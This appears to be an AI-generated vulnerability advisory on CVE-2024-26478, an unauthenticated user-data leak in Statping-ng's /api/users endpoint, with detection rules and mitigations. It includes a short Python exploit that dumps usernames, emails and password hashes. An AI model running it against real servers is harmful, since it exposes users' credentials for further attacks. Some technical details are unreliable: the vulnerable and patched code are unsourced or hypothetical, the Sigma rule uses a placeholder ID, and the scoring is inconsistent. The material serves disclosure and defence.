CVE-2024-26478

Executive Summary

CVE-2024-26478 is an information disclosure vulnerability in Statping-ng version 0.91.0. An attacker can send a crafted request to the /api/users endpoint to obtain sensitive information, including user details such as email addresses, usernames, and potentially hashed passwords. The vulnerability has a CVSS score of 0.0 (unscored) but poses a moderate risk due to the exposure of user data. No patch is currently available, and the vendor has not released an official advisory. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the PoC is public.

Supply Chain & Package Security

Statping-ng is a Go-based application. The vulnerability affects the API endpoint /api/users, which may be exposed in containerized deployments. Users should verify the integrity of their Go modules and ensure no malicious dependencies are present.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unscored)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High (user data exposed)
• Integrity Impact: None
• Availability Impact: None
• Threat Level: Medium (due to public PoC and lack of patch)

Deep Dive & Mechanics

The vulnerability exists in the /api/users endpoint of Statping-ng v0.91.0. The endpoint does not properly authenticate or authorize requests, allowing unauthenticated attackers to retrieve a list of all registered users. The response includes sensitive fields such as email, username, and password_hash. This is a classic case of missing access control (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor).

The attack is trivial: an HTTP GET request to /api/users returns a JSON array of user objects. No authentication token or session is required. The data can be used for further attacks, such as credential stuffing or social engineering.

Vulnerable vs. Patched Code

Vulnerable Code (v0.91.0):

// routes/api.go
func (s *Server) apiUsersHandler(c *gin.Context) {
    users, _ := models.GetAllUsers()
    c.JSON(200, users)
}

This handler does not check for authentication or authorization.

Patched Code (hypothetical):

// routes/api.go
func (s *Server) apiUsersHandler(c *gin.Context) {
    user := c.MustGet("user").(*models.User)
    if !user.IsAdmin {
        c.JSON(403, gin.H{"error": "forbidden"})
        return
    }
    users, _ := models.GetAllUsers()
    c.JSON(200, users)
}

The patched version requires the user to be authenticated and have admin privileges.

Exploitation & Lab Setup

Red Team

Exploit (Python):

import requests

target = "http://target.statping-ng.com"
response = requests.get(f"{target}/api/users")
if response.status_code == 200:
    users = response.json()
    for user in users:
        print(f"Username: {user['username']}, Email: {user['email']}, Hash: {user['password_hash']}")
else:
    print("Failed to retrieve users")

Lab Setup:

1. Deploy Statping-ng v0.91.0 using Docker: docker run -d -p 8080:8080 statping/statping-ng:v0.91.0
2. Access the web interface and create a few test users.
3. Run the exploit script against http://localhost:8080.

Blue Team

Detection:

• Monitor for unauthorized requests to /api/users from external IPs.
• Check logs for 200 responses to /api/users without prior authentication.
• Use the Sigma rule below to detect exploitation attempts.

Mitigation:

• Restrict access to /api/users via a reverse proxy (e.g., Nginx) with IP whitelisting.
• Implement authentication middleware immediately.
• If possible, upgrade to a patched version when available.

Indicators of Compromise (IOCs)

• Network: HTTP GET requests to /api/users returning JSON with username, email, password_hash fields.
• Logs: Access logs showing 200 status for /api/users from unauthenticated sources.
• File: No specific file IOCs; the vulnerability is API-based.

Detection Engineering

YARA Rule

rule CVE_2024_26478_Statping_ng_InfoDisclosure {
    meta:
        description = "Detects exploitation attempts for CVE-2024-26478"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-26478"
    strings:
        $api_path = "/api/users"
        $json_field = /"username":\s*"[^"]*"/
        $json_field2 = /"email":\s*"[^"]*"/
        $json_field3 = /"password_hash":\s*"[^"]*"/
    condition:
        $api_path and any of ($json_field*)
}

Sigma Rule

title: CVE-2024-26478 Statping-ng API User Enumeration
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects unauthenticated access to /api/users endpoint in Statping-ng
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/api/users'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin access from trusted IPs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-26478 Statping-ng API User Enumeration"; flow:to_server; content:"GET"; http_method; content:"/api/users"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Restrict access to /api/users via firewall or reverse proxy (e.g., Nginx location block with allow/deny).
2. Short-term: Implement authentication middleware in the application code (see patched code example).
3. Long-term: Monitor the Statping-ng repository for an official patch. Consider forking and applying the fix yourself.
4. Workaround: Disable the /api/users endpoint entirely if not needed, or require an API key.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.